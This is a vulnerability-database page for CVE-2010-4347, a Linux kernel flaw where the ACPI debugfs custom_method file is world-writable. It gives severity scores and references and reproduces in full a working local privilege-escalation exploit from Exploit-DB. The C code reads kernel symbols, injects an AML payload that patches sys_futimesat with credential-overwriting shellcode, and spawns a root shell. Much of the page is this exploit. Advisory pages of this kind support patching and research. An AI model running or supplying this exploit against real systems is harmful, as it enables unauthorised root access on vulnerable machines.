CVE-2010-4347 : Detail

CVE-2010-4347

Improper Privilege Management
A04-Insecure Design
0.06%V3
Local
2010-12-22
19h00 +00:00
2017-08-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The ACPI subsystem in the Linux kernel before 2.6.36.2 uses 0222 permissions for the debugfs custom_method file, which allows local users to gain privileges by placing a custom ACPI method in the ACPI interpreter tables, related to the acpi_debugfs_init function in drivers/acpi/debugfs.c.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 15774

Publication date : 2010-12-17 23h00 +00:00
Author : Jon Oberheide
EDB Verified : Yes

/* * american-sign-language.c * * Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation * Jon Oberheide <[email protected]> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347 * * This custom_method file allows to inject custom ACPI methods into the ACPI * interpreter tables. This control file was introduced with world writeable * permissions in Linux Kernel 2.6.33. * * Usage: * * $ gcc american-sign-language.c -o american-sign-language * $ ./american-sign-language * [+] resolving required symbols... * [+] checking for world-writable custom_method... * [+] checking for an ACPI LID device... * [+] poisoning ACPI tables via custom_method... * [+] triggering ACPI payload via LID device... * [+] triggering exploit via futimesat... * [+] launching root shell! * # id * uid=0(root) gid=0(root) groups=0(root) * * Notes: * * This vuln allows us to write custom ACPI methods and load them into the * kernel as an unprivileged user. We compile some fancy ASL down to AML * that overrides the ACPI method used when the status of the LID device is * queried (eg. 'open' or 'closed' lid on a laptop). When the method is * triggered, it overlays an OperationRegion on the physical address where * sys_futimesat is located and overwrites the memory via the Store to * escalate privileges whenever sys_futimesat is called. * * The payload is 64-bit only and depends on the existence of a LID device * (eg. laptop), but the exploit will still tell you if you're vulnerable * regardless. If you don't know how to work around these limitations, you * probably shouldn't be running this in the first place. :-P * * Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/utsname.h> /* * The ASL payload looks like: * * DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) { * Method (\_SB.LID._LID, 0, NotSerialized) { * OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392) * Field(KMEM, AnyAcc, NoLock, Preserve) { * HACK, 0x392 * } * Store (Buffer () { * 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec, * 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24, * 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf, * 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, * 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff, * 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9, * 0xc3 }, HACK) * Return (One) * } * } * * Feel free to `iasl -d` this is you don't trust me! ;-) */ #define PAYLOAD_AML \ "\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \ "\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \ "\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \ "\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \ "\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \ "\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \ "\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \ "\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01" #define PAYLOAD_LEN 144 #define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method" #define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state" unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } int main(int argc, char **argv) { int ret; FILE *fp; char buf[64]; struct stat sb; char payload[PAYLOAD_LEN] = PAYLOAD_AML; unsigned long sys_futimesat, prepare_kernel_cred, commit_creds; printf("[+] resolving required symbols...\n"); sys_futimesat = get_symbol("sys_futimesat"); if (!sys_futimesat) { printf("[-] sys_futimesat symbol not found, aborting!\n"); exit(1); } prepare_kernel_cred = get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] prepare_kernel_cred symbol not found, aborting!\n"); exit(1); } commit_creds = get_symbol("commit_creds"); if (!commit_creds) { printf("[-] commit_creds symbol not found, aborting!\n"); exit(1); } printf("[+] checking for world-writable custom_method...\n"); ret = stat(CUSTOM_METHOD, &sb); if (ret < 0) { printf("[-] custom_method not found, kernel is not vulnerable!\n"); exit(1); } if (!(sb.st_mode & S_IWOTH)) { printf("[-] custom_method not world-writable, kernel is not vulnerable!\n"); exit(1); } printf("[+] checking for an ACPI LID device...\n"); ret = stat(HEY_ITS_A_LID, &sb); if (ret < 0) { printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n"); exit(1); } if (sizeof(sys_futimesat) != 8) { printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n"); exit(1); } sys_futimesat &= ~0xffffffff80000000; memcpy(&payload[63], &sys_futimesat, 4); memcpy(&payload[101], &commit_creds, 4); memcpy(&payload[108], &prepare_kernel_cred, 4); printf("[+] poisoning ACPI tables via custom_method...\n"); fp = fopen(CUSTOM_METHOD, "w"); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf("[+] triggering ACPI payload via LID device...\n"); fp = fopen(HEY_ITS_A_LID, "r"); fread(&buf, 1, sizeof(buf), fp); fclose(fp); printf("[+] triggering exploit via futimesat...\n"); ret = futimesat(0, "/tmp", NULL); if (ret != -1 || errno != EDOTDOT) { printf("[-] unexpected futimesat errno, exploit failed!\n"); exit(1); } if (getuid() != 0) { printf("[-] privileges not escalated, exploit failed!\n"); exit(1); } printf("[+] launching root shell!\n"); execl("/bin/sh", "/bin/sh", NULL); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.36.2

Configuraton 0

Opensuse>>Opensuse >> Version 11.3

Suse>>Linux_enterprise_real_time_extension >> Version 11

References

http://secunia.com/advisories/42778
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/45408
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2011/0298
Tags : vdb-entry, x_refsource_VUPEN
http://openwall.com/lists/oss-security/2010/12/15/3
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2011/0012
Tags : vdb-entry, x_refsource_VUPEN
http://openwall.com/lists/oss-security/2010/12/15/7
Tags : mailing-list, x_refsource_MLIST
http://www.exploit-db.com/exploits/15774/
Tags : exploit, x_refsource_EXPLOIT-DB